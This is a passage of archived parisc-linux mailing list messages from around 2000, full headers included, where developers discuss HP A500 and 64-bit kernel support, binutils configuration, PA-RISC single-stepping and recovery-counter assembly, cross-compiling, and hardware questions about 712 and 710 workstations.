	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA04922
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 23:46:31 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 9374F3CE
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 22:48:41 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA18137;
	Sun, 19 Nov 2000 22:47:29 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 19 Nov 2000 19:35:57 PST."
             <20001119193557.A8796@grccd310.grc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8517

Ingo Matthaes wrote:
> finally we've got a A500 for palinux testing. Unfortunately
> we have some problems with it.

Ingo,
uhmm...I'm not surprised. Let me help you understand the A500
and the direction we are going with support on the A500.
I'm one of several people working on A500 support.

A500 Features (marketing crud - you probably know this):
o 16GB of RAM
o 2-way 550 MHz PA8600
o 4 PCI-4X slots (3 of which are 1 slot per PCI bus)
o all in 2U rack mountable box.

Inside is (technical crud):
o PCX-W+
o Astro IOMMU (aka SBA. Provides cache-coherent DMA and virtual I/O DMA)
o Elroy PCI Host Bus Adapter (aka LBA)
o IOSAPIC interrupt controller (integrated in Elroy)
o PAT PDC (not legacy)
o ^B for service processor access (ie I can reset the machine remotely)
 
> A 32 bit kernel complains about a very old firmware and claims
> "that machine will probably never run linux"  But in fact, it 
> will :-)

That's right! :^)

> First question: Did anyone ever succeeded with a 32bit kernel
> on that hardware ?

No. Only on *64-bit* kernels. The reason is some of the PAT PDC
calls we need are *only* available in wide mode. We could have written
narrow<->wide mode translation routines but a 32-bit kernel ignores
the A500's best feature - 16GB of RAM. The issue is HP needs good
specweb99 numbers to sell these boxes and that requires GB of RAM.

The 512MB of RAM that 32-bit kernel currently supports (jsm tells me
3GB or so can be done) won't approach the perf levels which can be
acheived with 8 or 16GB. The HPUX specweb team (who just *beat* single
CPU TUX specweb99 numbers with HPUX on A500) told me. They have a clue.

You are welcome to write those translation routines and then
*remove* many the "#ifdef __LP64__" preprocessor directives in
arch/parisc/kernel/inventory.c and lba_pci.c. Send me the
patch and I'll test/review/commit the changes.

> A 64 bit Kernel boots fine and recognizes all available hardware 
> including the additional 100BT card. But it traps with the init
> which comes with the latest nfsroot tarball.

There are issues/problems with PCI resource management and I have
some code waiting to be tested when I get in tomorrow.

But you can be very helpful with user space! Perhaps Paul Bame
can be more specific.  But basically we don't have all the translation
routines in place for 32-bit applications invoking 64-bit kernel syscalls.

> I built a new one
> from the sourcesw of debians sysvlinux-2.78 and it does not trap
> anymore, but the kernel told me about unimplemented 32 syscalls.

Right.

> At this point I tried to build a 64 bit glibc in order to get
> a crt1.o , which is needed to builf for a 64bit init.
> 
> Did anyone ever build a 64bit glibc out of the current cvs tree ?

I don't think so. Eventually we wanted to but haven't been able yet.
So this great that you are trying!

> Today I've got 
...

Can someone one with a clue about toolchain look at that?

I'd be really impressed if someone got a 64-bit userspace built!
I can help get kernel working right but don't have a clue about the tools.

The 64-bit kernel can be booted on the following class of boxes
to about the same point as the A500:
o C160/180/200/240/360
o B2000/C3000/J5000/C3600/J5600/J6000
o some D/K/R-class machines

The key is the box must have PCX-U (PA8000), PCX-U+ (PA8200), 
PCX-W (PA8500) or PCX-W+ (PA8600) processor.

Look in the HWDB (http://www.parisc-linux.org/hw.html) or
in /usr/sam/lib/mo/sched.models (HPUX 11.x) to determine which
processor you have.


> Thats the point I'm currently stucking.
> 
> BTW If someone involved into the port with access to the internal HP 
>     Network needs access to that machine, please contact me.

Ditto. I can arrange access to my A500 as well. External access
to some limited number of people could be arranged if demand
is justifiable.  But given the number of other boxes which can
run 64-bit kernel, I hope that's not necessary.

Thanks Ingo!

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils build problems
Date: Thu, 22 Apr 1999 01:48:05 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990422014743.5593n-100000@devserv.devel.redhat.com>
References: <19990421204652.A12635@master.debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619312 6462 80.91.229.3 (22 Nov 2014 01:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Justin Maurer <justin@master.debian.org>
Original-X-From: adevries@redhat.com  Thu Apr 22 01:48:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA14199
	for <parisc-linux@sod.res.cmu.edu>; Thu, 22 Apr 1999 01:48:10 -0400
Original-Received: (qmail 5724 invoked by uid 15267); 22 Apr 1999 05:46:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5717 invoked from network); 22 Apr 1999 05:46:51 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 22 Apr 1999 05:46:51 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA21981;
	Thu, 22 Apr 1999 01:48:05 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <19990421204652.A12635@master.debian.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8518


On Wed, 21 Apr 1999, Justin Maurer wrote:
> when i use ./configure --prefix=/usr --with-gas --target=parisc-linux, i get
> the following error: 
> 
> Invalid configuration `parisc-linux': machine `parisc' not recognized
> Unrecognized target system name parisc-linux.

That should all be fixed now.

- Alex




From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Mon, 20 Nov 2000 17:53:18 +1100 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011201703290.15391-100000@front.linuxcare.com.au>
References: <200011200543.WAA23694@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619312 6466 80.91.229.3 (22 Nov 2014 01:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:52 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Nov 19 23:54:12 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA05386
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 23:54:06 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA27096;
	Mon, 20 Nov 2000 17:53:18 +1100
In-Reply-To: <200011200543.WAA23694@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8519

On Sun, 19 Nov 2000, John Marvin wrote:

> > I'm a little intrigued about these "complications".  How can the link
> > register or space _not_ be updated properly?  As far as I can see, the
> > only really tricky instruction to single-step is RFI - which shouldn't
> > ever occur in userspace, and which we'd just emulate if it was important.
> 
> The problem is that the link register is set to IAOQ_Back + 4. and in
> the case of ble, sr0 is set to IASQ_Back. Since we've played games with
> the queues, IAOQ_Back and IASQ_Back are pointing at the break page, not
> at the instruction following the branch.

Ah.  That is a little nasty, especially given the effect on signal
handlers you mention below.  Maybe using the recovery counter isn't such a
bad idea after all, especially since the added syscall and task switch
overhead can be quite small if the kernel only supports single-step by
one instruction.

> The additional complication is that the taken branch trap traps at the
> branch destination, not at the branch, so at the point of the trap you
> don't know where you came from in order to fix the problem easily.  So,
> what HP-UX does is check each instruction before it executes it to see if
> it is a branch, and if so, what the link register is (and that is all that
> needs to be parsed, since we are not emulating the instruction).  It then
> stores the branch location, and also sets some branch state flags (e.g.
> UBE for a branch external, and UBL for a branch with a link, both flags
> being set for a ble instruction).  Then in the taken branch handler you
> have all the information you need to fix the queue.  You also need
> to check this saved state if a signal handler is invoked while single
> stepping, so that the proper pc queue values can be saved in the signal
> context.

Another question for you and/or the list in general:
Why does struct pt_regs have an ipsw field?  Seems like it currently is
unused.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Host for 712/60 compiles
Date: Sun, 19 Nov 2000 23:05:26 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <200011200705.XAA18181@milano.cup.hp.com>
References: <3A15FD92.DEB522FE@storm.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619312 6470 80.91.229.3 (22 Nov 2014 01:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Sandy Harris <sandy@storm.ca>
Original-X-From: grundler@cup.hp.com  Mon Nov 20 00:03:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA05862
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 00:03:18 -0700
Original-Received: (qmail 9420 invoked by uid 15267); 20 Nov 2000 07:05:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9323 invoked from network); 20 Nov 2000 07:05:20 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 07:05:20 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id D6E1F1DA; Sun, 19 Nov 2000 23:05:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA18181;
	Sun, 19 Nov 2000 23:05:28 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 17 Nov 2000 22:54:58 PST."
             <3A15FD92.DEB522FE@storm.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8520

Sandy Harris wrote:
> A couple of us have 16 diskless 712/60s which we want to use for distributed
> processing on easily parallelized tasks like factoring and perhaps crypto
> cracking. A few questions arise.
> 
> Is PARISC Linux far enough along to be useful for that? We need no monitor or
> console (except perhaps for initial debugging), no devices except ethernet,
> and expect to run only one process per machine, but we need stability.

It's not rock solid.  On 712's, it should be pretty good though.

> We'll need a host for cross-compiling. We have a 256 meg 715/100 with HP/UX
> which we expect to use as the host for booting, handing out chunks of work,
> storing results, etc. Should we compile there under HP/UX or would we get
> better tools on one of our Intel Linux boxes?

I don't think anyone has tried to cross-compile parisc-linux on an HPUX
host in quite a while.

> Or is PARISC Linux far enough along we should put it on the 715 and get
> native compilation?

AFAIK, all of the debian packages on the ISO image are built natively.
But using a dual P700 linux box would be alot faster. :^)

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Sun, 19 Nov 2000 23:24:00 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200011200724.XAA07561@opus.allegro.com>
References: <Pine.LNX.4.21.0011201703290.15391-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619313 6733 80.91.229.3 (22 Nov 2014 01:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:53 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: sieler@opus.allegro.com  Mon Nov 20 00:23:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA15671
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 00:23:22 -0700
Original-Received: (qmail 22493 invoked by uid 15267); 20 Nov 2000 07:25:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22479 invoked from network); 20 Nov 2000 07:25:33 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 07:25:33 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id XAA07561;
	Sun, 19 Nov 2000 23:24:00 -0800
In-Reply-To: <Pine.LNX.4.21.0011201703290.15391-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 20, 2000 05:53:18 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8521

Re:

> handlers you mention below.  Maybe using the recovery counter isn't such a

quite true.

> bad idea after all, especially since the added syscall and task switch
> overhead can be quite small if the kernel only supports single-step by
> one instruction.

why the limit?  We've used multi-instruction "single step" (oxymoron :)
for about 15 years on PA-RISC...no problems, efficient, and *very*
useful!
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Sun, 19 Nov 2000 23:44:42 -0800
Lines: 75
Approved: news@gmane.org
Message-ID: <200011200744.XAA18214@milano.cup.hp.com>
References: <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619313 6735 80.91.229.3 (22 Nov 2014 01:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:53 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Mon Nov 20 00:43:38 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA16199
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 00:43:37 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id AAC97639
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 23:45:49 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA18214;
	Sun, 19 Nov 2000 23:44:43 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 18 Nov 2000 07:24:54 PST."
             <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8522

Matthew Wilcox wrote:
> On Tue, Nov 14, 2000 at 09:35:01AM -0700, Paul Bame wrote:
> ok, here's my memories.

Thanks Matthew!

hehe...sounds like someone's getting older. :^)

...
> >      * drivers/net/eepro100.c: no clue about this one
> 
> we were trying to get it to work for the Jan NYLWE show.

I think I did that. IIRC, it's a one-line change to use I/O port
space since MMIO wasn't usable without more invasive changes.

> i doubt we have any changes of note.  does anyone have an eepro in an hp?

I have picked nearly 30 i82557/i82558 PCI cards from scrap yard.
And maybe a few i82559 even. Did you need one (or two)? :^)

FWIW, this is the card/driver which I think was causing misaligned
data reference traps. I never had a chance to followup with this though.
At the time, I thought it would be *really* fun to show this working
to HP's marketing team...

> >      * fs/nfs/read.c: probably unnecessary hack for broken parisc64 gcc
> 
> we certainly don't want to send it upstream, but we don't want to take it
> out until the bug is fixed.  is fixing that bug on the webshite todo list?

I don't think so. It's possible it's already fixed.

Relevant CVS log entry:
| revision 1.5
| date: 2000/07/18 03:15:25;  author: dhd;  state: Exp;  lines: +5 -0
| ARGH!  When I put in an assertion, NFS stops breaking randomly.  I
| suspect this is a compiler or binutils problem but I can't see any
| clear differences in the generated code.  I'll debug it later...

This sounds like the hppa64 bug we saw with %r29 getting trashed.
But I don't think David was working on hppa64 kernel at the time.
I can test 32-bit NFS Root tomorrow w/o assertion if no one else
beats me to it.

> >      * include/linux/init.h: we use different section names -- why????,
> >        probably some unnecessary other differences too
> 
> because we use -ffunction-sections.  text.init clashes with a function
> called init, and the linker just merges it into the text segment.  we
> need it to be separate, so it became init.text.  there's patches around
> to do this for other architectures too.  just bad naming choices initially.

We need to resolve this in order to merge upstream.
Matthew, any advice on how we should proceed?
Or would be easier for you pester Alan Cox and just get it fixed?

> >      * include/linux/wait.h: parisc debugging -- should be removed
> 
> yeah, that can die now.

I'd be happy to fix this by clobbering the current version with what's in
linux-2.4.0-test10. But what is the "right" way to revert changes we've made
so this doesn't show up in next merge?

I'll need to know this in order to revert the fs/nfs/read.c change as well.

thanks,
grant


Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Mon, 20 Nov 2000 10:57:36 +0200
Organization: Tal.Org
Lines: 10
Approved: news@gmane.org
Message-ID: <008601c052cf$f11a1460$56dc10c3@tal.org>
References: <C36304FE952AD411AC87002094120338029E7E@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619313 6737 80.91.229.3 (22 Nov 2014 01:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:53 +0000 (UTC)
To: "Ian Zink" <ian.zink@maryville.com>, <parisc-linux@thepuffingroup.com>
Original-X-From: milang@tal.org  Mon Nov 20 01:52:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA16729
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 01:52:22 -0700
Original-Received: (qmail 16555 invoked by uid 15267); 20 Nov 2000 08:54:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16539 invoked from network); 20 Nov 2000 08:54:30 -0000
Original-Received: from kauha.saunalahti.fi (195.197.53.227)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 08:54:30 -0000
Original-Received: from concertina (dyn-3-085.tku.netti.fi [195.16.220.86])
	by kauha.saunalahti.fi (8.10.1/8.10.1) with SMTP id eAK8vce02229;
	Mon, 20 Nov 2000 10:57:39 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:8523

> Thanks for the reply, Grant. However, the 712s do not have a serial
console.

Yes it does.. it's just  undocumented. Unfortunately I don't have the
information here, but
I have succesfully changed the console to serial on one of my 712.

Kaj-Michael Lang
milang@tal.org


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Mon, 20 Nov 2000 20:05:58 +1100 (EST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011201912260.15391-100000@front.linuxcare.com.au>
References: <200011200724.XAA07561@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619314 6743 80.91.229.3 (22 Nov 2014 01:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:54 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: alan@linuxcare.com.au  Mon Nov 20 02:11:29 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA17487
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 02:11:28 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA29641;
	Mon, 20 Nov 2000 20:05:58 +1100
In-Reply-To: <200011200724.XAA07561@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8524

On Sun, 19 Nov 2000, Stan Sieler wrote:

> > bad idea after all, especially since the added syscall and task switch
> > overhead can be quite small if the kernel only supports single-step by
> > one instruction.
> 
> why the limit?  We've used multi-instruction "single step" (oxymoron :)
> for about 15 years on PA-RISC...no problems, efficient, and *very*
> useful!

Because you would then need to save and restore cr0 on task switches (or
only allow one task to be single-stepped at a time).  That's four
instructions and two extra memory accesses per task switch.  Which might
not seem very much, but at some point somebody will no doubt start caring
about pa-linux performance.  For a single-step by one, you can simply set
cr0 to zero on a task switch, and possibly avoid touching cr0 on a task
switch at all with careful attention to various trap handlers.

Here's the idea.  The tail of syscall_restore (64-bit stuff pruned) will
look like the following, with the first three instructions being the added
code to support single-step (and also wide/narrow switching for 64-bit)

	ldi	3,%r20
	mtctl	$r20,%cr0	/* recovery counter, ptrace single-step */
	LDREG	TASK_PT_PSW(%r1),%r20

	mtctl	%r1,%cr30			   /* intrhandler okay. */
	mfsp	%sr3,%r1			   /* Get users space id */
	mtsp	%r1,%sr4			   /* Restore sr4 */
	mtsp	%r1,%sr5			   /* Restore sr5 */
	mtsp	%r1,%sr6			   /* Restore sr6 */

	depi	3,31,2,%r31		/* ensure return to user mode. */

	mtsm	%r20				   /* restore irq state */
	mfctl	%cr27,%r20
	be	0(%sr3,%r31)			   /* return to user space */
	mtsp	%r1,%sr7			   /* Restore sr7 */

ptrace will fiddle with TASK_PT_PSW, setting the R bit and clearing the I
bit to enable the recovery counter - which will start counting down at the
mtsm instruction above, and reach zero on the user-space instruction, so
we'll trap after executing one user-space instruction.  The task-switch
nonsense is to handle the case where we page-fault on the instruction and
switch to another task also doing single-stepping.  You want to ensure cr0
is zero when we finally get back to the original task.

Now it might turn out that having extra instructions in the syscall path
is worse than extra code and memory accesses on task switch.  If that
turns out to be true, then you'll probably get your multi-step ptrace. :-)

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Wild <M_Wild@tunstall.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrading memory on a 710
Date: Mon, 20 Nov 2000 10:21:32 -0000
Lines: 16
Approved: news@gmane.org
Message-ID: <51C39E66FF96D11194FCAA00040003040116EA3A@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619314 6749 80.91.229.3 (22 Nov 2014 01:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:54 +0000 (UTC)
To: Parisc-Linux <parisc-linux@puffin.external.hp.com>
Original-X-From: m_wild@tunstall.co.uk  Mon Nov 20 03:19:30 2000
Original-Received: from gate-isdn.tunstall.co.uk (gate-isdn.tunstall.co.uk [194.152.75.185])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA18425
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 03:19:29 -0700
Original-Received: from [10.1.1.3] (helo=tele02.tunstall.co.uk)
	by gate-isdn.tunstall.co.uk with esmtp (Exim 2.12 #1)
	id 13xo2K-0001e6-00
	for parisc-linux@puffin.external.hp.com; Mon, 20 Nov 2000 10:18:56 +0000
Original-Received: by tele02.localnet with Internet Mail Service (5.5.2650.21)
	id <X210GD71>; Mon, 20 Nov 2000 10:21:33 -0000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8525

Hi,

I have acquired some 8MB SIMMs suitable for my old 710 workstation and
wish to utilise them. I don't have any docs for the 710 and was wondering
if anyone could point me in the direction of some. I've looked on the HP
website but could only find some for 712s, 720, 730 etc. Alternatively, if
anyone knows whether any motherboard links need to be changed, whether
SIMMS need to be added in pairs / quads and which memory configurations
are allowed I would be grateful.

Thanks,

Mark Wild

-- 


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 and glibc woes
Date: Mon, 20 Nov 2000 10:50:57 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20001120105057.B5196@parcelfarce.linux.theplanet.co.uk>
References: <20001119193557.A8796@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619314 6751 80.91.229.3 (22 Nov 2014 01:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:54 +0000 (UTC)
Cc: lrisc-Linux <parisc-linux@thepuffingroup.com>
To: Ingo Matthaes <imatthae@grc.hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Nov 20 03:53:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA19011
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 03:53:52 -0700
Original-Received: (qmail 492 invoked by uid 15267); 20 Nov 2000 10:56:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 485 invoked from network); 20 Nov 2000 10:56:03 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 10:56:03 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13xoXJ-0001b2-00; Mon, 20 Nov 2000 10:50:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001119193557.A8796@grccd310.grc.hp.com>; from imatthae@grc.hp.com on Sun, Nov 19, 2000 at 07:35:57PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8526

On Sun, Nov 19, 2000 at 07:35:57PM +0100, Ingo Matthaes wrote:
> finally we've got a A500 for palinux testing. Unfortunately
> we have some problems with it.
> A 32 bit kernel complains about a very old firmware and claims
> "that machine will probably never run linux"  But in fact, it 
> will :-)
> First question: Did anyone ever succeeded with a 32bit kernel
> on that hardware ?

It's not intended to work; I doubt anyone has tried.  You should build
